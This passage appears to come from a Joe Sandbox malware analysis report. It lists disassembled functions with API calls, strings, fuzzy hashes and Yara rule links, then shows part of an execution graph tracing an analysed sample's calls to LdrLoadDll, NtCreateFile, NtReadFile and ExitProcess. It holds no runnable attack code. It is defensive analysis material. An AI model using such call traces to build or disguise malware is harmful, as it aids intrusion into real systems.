                                                                                                                                                                                                                                    • Part of subcall function 00D21A47: ??_V@YAXPAX@Z.MSVCRT(00D22229,?,00D22229,00000000,-00000105,?,00000000,00000000), ref: 00D21BA4
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$Process$AllocFree_setjmp3_wcsuprmemsetwcschr
                                                                                                                                                                                                                                  • String ID: FOR$ IF
                                                                                                                                                                                                                                  • API String ID: 3818062306-2924197646
                                                                                                                                                                                                                                  • Opcode ID: 250230b63a4546710fda9579bec7688e69b85f73907273eea7b66c0f818fcb7a
                                                                                                                                                                                                                                  • Instruction ID: 3a72983b0c0dcef4f92c7ed9b7fda09f1992cf406b90e2b17ce4f85e6b54e4cd
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 250230b63a4546710fda9579bec7688e69b85f73907273eea7b66c0f818fcb7a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94512821710222A6DB256B78B8717FF72A2EFA1758B5C4025E906CB295FF61DD81C3B0
                                                                                                                                                                                                                                  Function 00D3BED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D3BF88
                                                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,00D39E02,00D3CD80,00000030,00D3448F,?,?,?,00000001), ref: 00D3C008
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$AllocProcessmemcpywcschr
                                                                                                                                                                                                                                  • String ID: &()[]{}^=;!%'+,`~
                                                                                                                                                                                                                                  • API String ID: 3241892172-381716982
                                                                                                                                                                                                                                  • Opcode ID: 337ad906a6b95c6ef66a76c25235354a13c3f01489e50f3dd79bc16fe8211f30
                                                                                                                                                                                                                                  • Instruction ID: 27bd300e4d5a959fa6c42942fcf779cfca29a8422232577141d85a56009d923a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 337ad906a6b95c6ef66a76c25235354a13c3f01489e50f3dd79bc16fe8211f30
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 07616975E14215CBCB28CF68D8806ADBBF1EF49324F24612EE916E7390DB7199418FB4
                                                                                                                                                                                                                                  Function 00D1ABC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1ABE3
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                    • Part of subcall function 00D1CF10: _setjmp3.MSVCRT ref: 00D1CF28
                                                                                                                                                                                                                                    • Part of subcall function 00D1CF10: iswspace.MSVCRT ref: 00D1CF6B
                                                                                                                                                                                                                                    • Part of subcall function 00D1CF10: wcschr.MSVCRT ref: 00D1CF8D
                                                                                                                                                                                                                                    • Part of subcall function 00D1CF10: iswdigit.MSVCRT ref: 00D1CFEE
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001,00000000,00000000,00000002), ref: 00D2CB58
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$Heapiswspace$AllocProcess_setjmp3_wcsicmpiswdigitlongjmp
                                                                                                                                                                                                                                  • String ID: REM/?
                                                                                                                                                                                                                                  • API String ID: 49548326-4093888634
                                                                                                                                                                                                                                  • Opcode ID: 812dbbc94e63a8eb8be3d9921f329e4f0ae6dd3ce11fcdb33db02ae1edbfafa8
                                                                                                                                                                                                                                  • Instruction ID: 8ec8405c4a344a41999f9de9ea8ba7ca01665cb95acf72542971717b0fa6b868
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 812dbbc94e63a8eb8be3d9921f329e4f0ae6dd3ce11fcdb33db02ae1edbfafa8
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DB31F7757503057BDB24EF78B852BAA73A6EF80355F14542BE502CB291EEB1CC8183B6
                                                                                                                                                                                                                                  Function 00D35679 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Classes,00000000,02000000,?,00D3CD40,0000001C,00D36901), ref: 00D356A8
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000003), ref: 00D35778
                                                                                                                                                                                                                                    • Part of subcall function 00D364DB: RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D3650F
                                                                                                                                                                                                                                    • Part of subcall function 00D364DB: RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,00000000,00000000,00000001,?,00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,00D3CD00), ref: 00D36545
                                                                                                                                                                                                                                    • Part of subcall function 00D364DB: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,00D3CD00,00000018,?,?,00D2BFD6), ref: 00D36553
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$Close$CreateOpenValueiswspace
                                                                                                                                                                                                                                  • String ID: Software\Classes
                                                                                                                                                                                                                                  • API String ID: 1047774138-1656466771
                                                                                                                                                                                                                                  • Opcode ID: 87447775692fa66dfcbf4d2247530b61ac3f87e5a6f24e51059f910b955075cb
                                                                                                                                                                                                                                  • Instruction ID: 6df0dd195f04fee07f0b9e76e1364966a8a811d535e6fb2810f6a4a2c2eea5cb
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 87447775692fa66dfcbf4d2247530b61ac3f87e5a6f24e51059f910b955075cb
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 743152B5E05714DFDB18ABB8E8526EDB6B2EF48710F24402EE402B7395EE705D408B74
                                                                                                                                                                                                                                  Function 00D35E03 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92registryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Classes,00000000,02000000,?,00D3CCE0,0000001C,00D36931), ref: 00D35E32
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                  • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000003), ref: 00D35EFB
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$CloseOpeniswspace
                                                                                                                                                                                                                                  • String ID: Software\Classes
                                                                                                                                                                                                                                  • API String ID: 2439148603-1656466771
                                                                                                                                                                                                                                  • Opcode ID: ad52c4abfdb60b3ba5d1fc88e142caa74e747f0df26590b2943befdbe616f762
                                                                                                                                                                                                                                  • Instruction ID: c458a7eb4495804461f2ed51406427117b31a62b5f0f99c017e19cbd9eb0094f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ad52c4abfdb60b3ba5d1fc88e142caa74e747f0df26590b2943befdbe616f762
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 47317071E147149FDB08ABB8E8526EE76B2EF48710F24402EF406B7295EE714E40CB74
                                                                                                                                                                                                                                  Function 00D1AD26 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000,00000104,?,00000000,00000000,?,?,00D1B11F), ref: 00D2CB8B
                                                                                                                                                                                                                                  • SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000,00000000, - ,?,00000000,00000000,?), ref: 00D2CC2D
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleTitle
                                                                                                                                                                                                                                  • String ID: -
                                                                                                                                                                                                                                  • API String ID: 3358957663-3695764949
                                                                                                                                                                                                                                  • Opcode ID: b6b0414f916866993b7a6385faa37070ff816614196e14dddfa9d88cf1c1e8c7
                                                                                                                                                                                                                                  • Instruction ID: 46850cbef020a2bc40250545126ccc0fd1ec14aa4fdc4e053dee93f935847cff
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b6b0414f916866993b7a6385faa37070ff816614196e14dddfa9d88cf1c1e8c7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1A214935600611ABC715AB2CF8957FE77A2DB81314F1C402CE80697B45EE78DD8686B2
                                                                                                                                                                                                                                  Function 00D38AA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D38AC9
                                                                                                                                                                                                                                  • printf.MSVCRT ref: 00D38B24
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@printf
                                                                                                                                                                                                                                  • String ID: %3d
                                                                                                                                                                                                                                  • API String ID: 2845598586-2138283368
                                                                                                                                                                                                                                  • Opcode ID: cd3b8365e3dcae7babb28b1dd37e07ee7b43a103f6e6dae107a591bfeebb78d7
                                                                                                                                                                                                                                  • Instruction ID: 093659e4f67e2b76f0de8950f6f3fab78c44eadfe41519ae6bdfaef54e786d22
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cd3b8365e3dcae7babb28b1dd37e07ee7b43a103f6e6dae107a591bfeebb78d7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1F016DB1504304BBEB216E95AC47FDB3A6DCF84BE4F040015FB05A5181DAB1DCA0D271
                                                                                                                                                                                                                                  Function 00D1AB7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: iswspacewcschr
                                                                                                                                                                                                                                  • String ID: =,;
                                                                                                                                                                                                                                  • API String ID: 287713880-1539845467
                                                                                                                                                                                                                                  • Opcode ID: 2d09528ac959403644bc93da19b2b983095b6c6ad44117ba3b905b583dbd9f34
                                                                                                                                                                                                                                  • Instruction ID: 108356a79098636356f674d21e57cf2448efe21a5ebb043113749467aa76ce46
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2d09528ac959403644bc93da19b2b983095b6c6ad44117ba3b905b583dbd9f34
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9AE0D83360E2A2BA5630014DBE148F7A29B8F93B6131E001BFC00D2150EE608CC04073

                                                                                                                                                                                                                                  Execution Graph

                                                                                                                                                                                                                                  Execution Coverage:1.7%
                                                                                                                                                                                                                                  Dynamic/Decrypted Code Coverage:5.5%
                                                                                                                                                                                                                                  Signature Coverage:1.4%
                                                                                                                                                                                                                                  Total number of Nodes:560
                                                                                                                                                                                                                                  Total number of Limit Nodes:67
                                                                                                                                                                                                                                  execution_graph 88276 41f0d0 88277 41f0db 88276->88277 88279 41b940 88276->88279 88280 41b966 88279->88280 88287 409d40 88280->88287 88282 41b972 88283 41b993 88282->88283 88295 40c1c0 88282->88295 88283->88277 88285 41b985 88331 41a680 88285->88331 88334 409c90 88287->88334 88289 409d54 88289->88282 88290 409d4d 88290->88289 88346 409c30 88290->88346 88296 40c1e5 88295->88296 88747 40b1c0 88296->88747 88298 40c23c 88751 40ae40 88298->88751 88300 40c262 88330 40c4b3 88300->88330 88760 4143a0 88300->88760 88302 40c2a7 88302->88330 88764 408a60 88302->88764 88304 40c2eb 88304->88330 88771 41a4d0 88304->88771 88308 40c341 88309 40c348 88308->88309 88783 419fe0 88308->88783 88310 41bd90 2 API calls 88309->88310 88312 40c355 88310->88312 88312->88285 88314 40c392 88315 41bd90 2 API calls 88314->88315 88316 40c399 88315->88316 88316->88285 88317 40c3a2 88318 40f4a0 3 API calls 88317->88318 88319 40c416 88318->88319 88319->88309 88320 40c421 88319->88320 88321 41bd90 2 API calls 88320->88321 88322 40c445 88321->88322 88788 41a030 88322->88788 88325 419fe0 2 API calls 88326 40c480 88325->88326 88326->88330 88793 419df0 88326->88793 88329 41a680 2 API calls 88329->88330 88330->88285 88332 41af30 LdrLoadDll 88331->88332 88333 41a69f ExitProcess 88332->88333 88333->88283 88335 409ca3 88334->88335 88385 418b90 LdrLoadDll 88334->88385 88365 418a40 88335->88365 88338 409cac 88339 409cb6 88338->88339 88368 41b280 88338->88368 88339->88290 88341 409cf3 88341->88339 88379 409ab0 88341->88379 88343 409d13 88386 409620 LdrLoadDll 88343->88386 88345 409d25 88345->88290 88347 409c4a 88346->88347 88348 41b570 LdrLoadDll 88346->88348 88722 41b570 88347->88722 88348->88347 88351 41b570 LdrLoadDll 88352 409c71 88351->88352 88353 40f180 88352->88353 88354 40f199 88353->88354 88730 40b040 88354->88730 88356 40f1ac 88734 41a1b0 88356->88734 88360 40f1d2 88363 40f1fd 88360->88363 88740 41a230 88360->88740 88362 41a460 2 API calls 88364 409d65 88362->88364 88363->88362 88364->88282 88387 41a5d0 88365->88387 88369 41b299 88368->88369 88400 414a50 88369->88400 88371 41b2b1 88372 41b2ba 88371->88372 88439 41b0c0 88371->88439 88372->88341 88374 41b2ce 88374->88372 88457 419ed0 88374->88457 88700 407ea0 88379->88700 88381 409ad1 88381->88343 88382 409aca 88382->88381 88713 408160 88382->88713 88385->88335 88386->88345 88390 41af30 88387->88390 88389 418a55 88389->88338 88391 41af40 88390->88391 88393 41af62 88390->88393 88394 414e50 88391->88394 88393->88389 88395 414e6a 88394->88395 88396 414e5e 88394->88396 88395->88393 88396->88395 88399 4152d0 LdrLoadDll 88396->88399 88398 414fbc 88398->88393 88399->88398 88401 414d85 88400->88401 88411 414a64 88400->88411 88401->88371 88404 414b90 88468 41a330 88404->88468 88405 414b73 88525 41a430 LdrLoadDll 88405->88525 88408 414bb7 88410 41bd90 2 API calls 88408->88410 88409 414b7d 88409->88371 88413 414bc3 88410->88413 88411->88401 88465 419c20 88411->88465 88412 414d49 88415 41a460 2 API calls 88412->88415 88413->88409 88413->88412 88414 414d5f 88413->88414 88419 414c52 88413->88419 88534 414790 LdrLoadDll NtReadFile NtClose 88414->88534 88416 414d50 88415->88416 88416->88371 88418 414d72 88418->88371 88420 414cb9 88419->88420 88422 414c61 88419->88422 88420->88412 88421 414ccc 88420->88421 88527 41a2b0 88421->88527 88424 414c66 88422->88424 88425 414c7a 88422->88425 88526 414650 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 88424->88526 88428 414c97 88425->88428 88429 414c7f 88425->88429 88428->88416 88483 414410 88428->88483 88471 4146f0 88429->88471 88431 414c70 88431->88371 88433 414d2c 88531 41a460 88433->88531 88434 414c8d 88434->88371 88436 414caf 88436->88371 88438 414d38 88438->88371 88440 41b0d1 88439->88440 88441 41b0e3 88440->88441 88552 41bd10 88440->88552 88441->88374 88443 41b104 88555 414070 88443->88555 88445 41b150 88445->88374 88446 41b127 88446->88445 88447 414070 3 API calls 88446->88447 88449 41b149 88447->88449 88449->88445 88580 415390 88449->88580 88450 41b1da 88451 41b1ea 88450->88451 88674 41aed0 LdrLoadDll 88450->88674 88590 41ad40 88451->88590 88454 41b218 88669 419e90 88454->88669 88458 41af30 LdrLoadDll 88457->88458 88459 419eec 88458->88459 88694 1df92c0a 88459->88694 88460 419f07 88462 41bd90 88460->88462 88463 41b329 88462->88463 88697 41a640 88462->88697 88463->88341 88466 41af30 LdrLoadDll 88465->88466 88467 414b44 88466->88467 88467->88404 88467->88405 88467->88409 88469 41af30 LdrLoadDll 88468->88469 88470 41a34c NtCreateFile 88469->88470 88470->88408 88472 41470c 88471->88472 88473 41a2b0 LdrLoadDll 88472->88473 88474 41472d 88473->88474 88475 414734 88474->88475 88476 414748 88474->88476 88477 41a460 2 API calls 88475->88477 88478 41a460 2 API calls 88476->88478 88479 41473d 88477->88479 88480 414751 88478->88480 88479->88434 88535 41bfa0 LdrLoadDll RtlAllocateHeap 88480->88535 88482 41475c 88482->88434 88484 41445b 88483->88484 88485 41448e 88483->88485 88486 41a2b0 LdrLoadDll 88484->88486 88487 4145d9 88485->88487 88490 4144aa 88485->88490 88488 414476 88486->88488 88489 41a2b0 LdrLoadDll 88487->88489 88491 41a460 2 API calls 88488->88491 88495 4145f4 88489->88495 88492 41a2b0 LdrLoadDll 88490->88492 88493 41447f 88491->88493 88494 4144c5 88492->88494 88493->88436 88497 4144e1 88494->88497 88498 4144cc 88494->88498 88548 41a2f0 LdrLoadDll 88495->88548 88501 4144e6 88497->88501 88502 4144fc 88497->88502 88500 41a460 2 API calls 88498->88500 88499 41462e 88503 41a460 2 API calls 88499->88503 88504 4144d5 88500->88504 88505 41a460 2 API calls 88501->88505 88511 414501 88502->88511 88536 41bf60 88502->88536 88506 414639 88503->88506 88504->88436 88507 4144ef 88505->88507 88506->88436 88507->88436 88508 414513 88508->88436 88511->88508 88539 41a3e0 88511->88539 88512 414567 88513 41457e 88512->88513 88547 41a270 LdrLoadDll 88512->88547 88515 414585 88513->88515 88516 41459a 88513->88516 88518 41a460 2 API calls 88515->88518 88517 41a460 2 API calls 88516->88517 88519 4145a3 88517->88519 88518->88508 88520 4145cf 88519->88520 88542 41bb60 88519->88542 88520->88436 88522 4145ba 88523 41bd90 2 API calls 88522->88523 88524 4145c3 88523->88524 88524->88436 88525->88409 88526->88431 88528 414d14 88527->88528 88529 41af30 LdrLoadDll 88527->88529 88530 41a2f0 LdrLoadDll 88528->88530 88529->88528 88530->88433 88532 41af30 LdrLoadDll 88531->88532 88533 41a47c NtClose 88532->88533 88533->88438 88534->88418 88535->88482 88538 41bf78 88536->88538 88549 41a600 88536->88549 88538->88511 88540 41af30 LdrLoadDll 88539->88540 88541 41a3fc NtReadFile 88540->88541 88541->88512 88543 41bb84 88542->88543 88544 41bb6d 88542->88544 88543->88522 88544->88543 88545 41bf60 2 API calls 88544->88545 88546 41bb9b 88545->88546 88546->88522 88547->88513 88548->88499 88550 41af30 LdrLoadDll 88549->88550 88551 41a61c RtlAllocateHeap 88550->88551 88551->88538 88675 41a510 88552->88675 88554 41bd3d 88554->88443 88556 414081 88555->88556 88557 414089 88555->88557 88556->88446 88579 41435c 88557->88579 88678 41cf00 88557->88678 88559 4140dd 88560 41cf00 2 API calls 88559->88560 88563 4140e8 88560->88563 88561 414136 88564 41cf00 2 API calls 88561->88564 88563->88561 88686 41cfa0 LdrLoadDll RtlAllocateHeap RtlFreeHeap 88563->88686 88565 41414a 88564->88565 88566 41cf00 2 API calls 88565->88566 88567 4141bd 88566->88567 88568 41cf00 2 API calls 88567->88568 88575 414205 88568->88575 88571 41cf60 2 API calls 88572 41433e 88571->88572 88573 41cf60 2 API calls 88572->88573 88574 414348 88573->88574 88576 41cf60 2 API calls 88574->88576 88683 41cf60 88575->88683 88577 414352 88576->88577 88578 41cf60 2 API calls 88577->88578 88578->88579 88579->88446 88581 4153a1 88580->88581 88582 414a50 8 API calls 88581->88582 88583 4153b7 88582->88583 88584 4153f2 88583->88584 88585 415405 88583->88585 88589 41540a 88583->88589 88586 41bd90 2 API calls 88584->88586 88587 41bd90 2 API calls 88585->88587 88588 4153f7 88586->88588 88587->88589 88588->88450 88589->88450 88687 41ac00 88590->88687 88593 41ac00 LdrLoadDll 88594 41ad5d 